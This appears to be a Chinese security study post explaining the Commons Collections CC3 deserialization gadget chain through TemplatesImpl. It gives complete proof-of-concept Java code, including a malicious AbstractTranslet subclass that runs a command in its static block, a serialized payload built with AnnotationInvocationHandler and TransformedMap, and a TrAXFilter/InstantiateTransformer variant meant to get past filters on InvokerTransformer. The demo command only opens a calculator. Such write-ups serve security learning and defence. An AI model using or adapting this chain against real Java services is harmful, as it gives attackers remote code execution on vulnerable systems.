根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。

因为在ClassLoader里的defineClass都是私有的,我们需要找到公有的defineClass方法,然后在ClassLoader.defineClass里反向寻找哪里有公有或者default类型的defineClass方法

TemplatesImpl

可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法

可以看到这里存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法

Class defineClass(byte[] b) {
return this.defineClass((String)null, b, 0, b.length);
}

这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用

寻找调用TransletClassLoader的方法。

找到了getTransletInstance()

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

可以看到这里的逻辑

我们需要_name不为null ,_class是null才行可以来调用TransletClasses

因为是私有属性所以我们还得继续找

直接往上面找

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

这个 TemplatesImpl的链子 这就非常方便了

所以整条链子就是

/*
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
*/

那么我们就直接来构造

getTransletInstance

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
​ _class[_transletIndex].getConstructor().newInstance();
​ translet.postInitialization();
​ translet.setTemplates(this);
​ translet.setOverrideDefaultParser(_overrideDefaultParser);
​ translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
​ translet.setAuxiliaryClasses(_auxClasses);
​ }

这里我们需要给_name进行赋值 _class赋值为空

defineTransletClasses

private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

_bytecodes需要赋值不然会报错

_bytecodes[i]则是我们需要注入的内容

那么我们对这三个内容进行赋值

对_name进行赋值

**Class** c = templates.getClass();
**Field** nameField = c.getDeclaredField("_name");
nameField.setAccessible(**true**);
nameField.set(templates,"guofen");

这里修改_bytecodes需要注意

Class **defineClass**(**final** **byte**[] b) {
**return** defineClass(**null**, b, 0, b.length);
}

defineClass 方法只能吃一维数组,但 _bytecodes 属性设计成二维数组,可能是为了支持同时加载多个类

于此同时我们这里需要写一个恶意的类

import java.io.IOException;

public class test {
static {
try {
Runtime.getRuntime().exec("mate-calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

那么这里的_bytecodes就可以这样进行赋值

byte[] code = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java"));
byte[][] codes ={code};
Field bytecodesFiled =c.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
bytecodesFiled.set(templates,codes);

最后_tfactory变量的赋值难点核心在于其被transient修饰符限制的特性,以及反序列化机制对这类字段的特殊处理逻辑

transient关键字会阻止字段被默认的序列化机制持久化。例如,当对象被写入ObjectOutputStream时,_tfactory的值不会被保存到字节流中

  • 类比:就像快递包裹里有一张便签写着“此物品禁止运输”,快递员(序列化机制)会直接忽略它

反序列化时的默认值
在反序列化过程中,未通过自定义逻辑处理的transient字段会被初始化为默认值(如对象类型为null,基本类型为0/false等)

  • 示例:若_tfactory未被手动赋值,反序列化后其值为null,后续调用可能导致NullPointerException

由于transient字段无法通过默认反序列化机制恢复,唯一赋值途径是重写readObject方法,并在其中手动初始化该字段

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3 {
public static void main(String[] args) throws IOException, NoSuchFieldException, TransformerConfigurationException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"guofen");

byte[] code = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java"));
byte[][] codes ={code};
Field bytecodesFiled =c.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
bytecodesFiled.set(templates,codes);

Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();

}
}

这里看看报错

定位问题所在处

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
  1. 代码流程
    defineTransletClasses 方法中,TemplatesImpl 会遍历 _bytecodes 数组(存储恶意类字节码)并加载每个类。对于每个加载的类,检查其父类是否为常量 ABSTRACT_TRANSLET(即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet):
    • 如果父类匹配:将当前类索引 i 赋值给 _transletIndex,标记为“主类”。
    • 如果不匹配:将类存入 _auxClasses(辅助类集合)。
  2. 空指针错误的原因
    当所有类的父类都不匹配 ABSTRACT_TRANSLET 时,_transletIndex 保持初始值 -1。此时代码进入 if (_transletIndex < 0) 分支,抛出 TransformerConfigurationException,导致执行终止
  3. _auxClasses 的陷阱
    即使尝试通过 _auxClasses 绕过父类检查,以下问题也会导致失败:
    • _auxClasses 在初始化时是空 HashMap(仅当 classCount > 1 时才创建)。
    • 即使强行赋值,后续流程仍依赖 _transletIndex 的有效性,无法跳过父类校验

唯一可行的路径是 **让至少一个类的父类等于 ABSTRACT_TRANSLET**,从而:

  1. **赋值 _transletIndex**:将恶意类标记为主类。
  2. 绕过异常分支:避免因 _transletIndex 为负值触发错误

举一个生动的例子就是

这就像 考驾照必须通过驾校报名TemplatesImpl 规定:所有加载的类必须“挂靠”在 AbstractTranslet 这个驾校名下,否则直接取消考试资格!

  1. 校验逻辑
    TemplatesImpl 在加载类时,会检查每个类的父类是否是 AbstractTranslet。如果是,就标记为合法(给 _transletIndex 赋值),否则直接丢进“黑名单”(_auxClasses

  2. 绕过校验的唯一方法
    恶意类必须声明继承 AbstractTranslet,例如:

    public class EvilClass extends AbstractTranslet {
    static { Runtime.getRuntime().exec("calc"); } // 静态代码块触发恶意代码
    // 必须实现这两个抽象方法(假装自己是正经学员)
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
    }

    这样加载时才能通过父类校验,触发后续代码执行

所以我们将恶意类进行一个继承

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("mate-calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

最后还是利用CC1后半部分的链调用templates的newTransformer方法,后部分链用CC6应该可以

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, TransformerConfigurationException {


TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"guofen");

byte[] bytes = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","deadbeef");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);

serialize(o);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

上面的poc最后是用InvokerTransformer类的transform调用的templates的newTransformer方法;

那么如果是InvokerTransformer被过滤了这个时候我们应该该怎么办呢

还有一种方法可以通过InstantiateTransformer类的transform调用TrAXFilter的构造方法类调用templates的newTransformer方法;

TrAXFilter调用了newTransformer方法,而且templates是可控的

public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
      TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"guofen");

Field tfactory = tCalss.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

byte[] bytes = Files.readAllBytes(Paths.get("D:\\CTF\\Audacity\\java project\\cc1\\src\\main\\java\\test.java"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

//templates.newTransformer
Class<?> trAXFilterClass = TrAXFilter.class;
Constructor<?> constructor = trAXFilterClass.getConstructor(Templates.class);
constructor.newInstance(templates);

InstantiateTransformer的transform方法,可以调用任意一个类的有参构造方法,所以就可以尝试调用TrAXFilter的构造方法,并把templates传递过去

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
......

最后将poc中的transformers数组改成下面这样,也是可以的;

Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

最后从网络上找到绕过IvokerTransform的路线的路径图